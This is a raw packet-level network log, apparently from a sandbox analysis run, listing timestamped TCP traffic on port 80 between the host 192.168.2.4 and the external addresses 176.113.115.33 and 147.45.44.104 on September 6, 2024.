Sep 6, 2024 08:17:07.599989891 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.599997997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.600007057 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.600012064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600017071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600018978 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.600029945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600037098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600047112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600053072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600064039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600068092 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.600070000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600075006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600085974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600092888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600102901 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.600114107 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600167990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600167990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600291967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600296974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600302935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600307941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600313902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600358963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600363016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600373983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600378990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600378990 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600379944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600387096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600399017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600409031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.600415945 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600472927 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.600498915 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.601279020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601284981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601296902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601351976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601356983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601368904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601382017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.601402044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.601402044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.601978064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602005959 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.602056026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602061033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602066994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602116108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602122068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602133036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602139950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.602159977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.602202892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.602520943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602586985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.602593899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602597952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602608919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602615118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602760077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602788925 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.602791071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602798939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602826118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.602853060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602859020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602869987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602875948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602885008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.602900982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602906942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602912903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.602931023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.604238987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615236998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615317106 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615323067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615334034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615339994 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615407944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615408897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615422010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615427971 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615433931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615442991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615448952 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615469933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615475893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615478039 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615483046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615494013 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615525007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615534067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615541935 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615550995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615556955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615562916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615575075 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615638018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615643978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615655899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615668058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615695953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615701914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615720034 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615725040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615729094 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615731955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615746975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615761995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615768909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615781069 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615781069 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615843058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615849018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615860939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615916014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615916014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615926981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615933895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615946054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615952969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.615986109 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.615997076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616003990 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616009951 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616015911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616027117 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616060972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616060972 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616302967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616358995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616364002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616396904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616401911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616415024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616425991 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616429090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616431952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616458893 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616717100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616724014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616748095 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616770983 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616776943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616789103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616796017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616801977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616802931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616837025 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616837025 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616858959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616864920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616877079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616882086 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616894007 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616934061 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616934061 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.616961956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616966963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.616978884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617032051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617037058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617048979 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617053986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617108107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617114067 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617130041 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617136002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617136955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617144108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617150068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617166042 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617187023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617187023 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617618084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617621899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617676973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617682934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617688894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617695093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617706060 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617753983 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617782116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617786884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617799997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617805004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617846966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617854118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617855072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617866039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617872953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617894888 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617928982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617934942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617940903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617943048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.617979050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617985010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.617995977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.618009090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.618009090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.618057013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.618062973 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.618068933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.618084908 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.618155003 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.620234966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620242119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620246887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620266914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620271921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620282888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620287895 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620294094 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620306969 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620377064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620378017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620381117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620393038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620398045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620404959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620421886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620426893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620434046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620438099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620469093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620469093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620486021 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620572090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620577097 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620588064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620696068 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620702982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620712996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620718002 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620731115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620732069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620737076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620748043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620753050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620767117 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620769978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620769978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620770931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620784044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620791912 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620795965 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620807886 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620841026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620841026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620851994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620857954 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620867968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620872974 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620933056 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.620943069 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620949030 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620959997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620965958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.620997906 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.621004105 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.621006966 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.621015072 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.621020079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.621026039 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.621032000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.621033907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.621033907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.621422052 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622392893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622405052 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622415066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622420073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622426987 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622438908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622486115 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622507095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622566938 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622611046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622617006 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622622967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622633934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622639894 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622653961 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622714996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622720957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622733116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622745037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622745037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622826099 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622838020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622843981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622848988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622855902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622860909 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.622879028 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622900963 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.622984886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623003006 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.623059034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623064041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623106956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.623117924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623123884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623135090 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623141050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623147011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.623153925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.623214960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.623214960 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.625690937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625791073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625796080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625808954 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.625891924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625897884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625910044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625915051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.625926018 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.626058102 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.627913952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.627921104 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.627931118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.627935886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.627947092 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.627950907 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.627985001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.627990961 CEST	80	49737	147.45.44.104	192.168.2.4
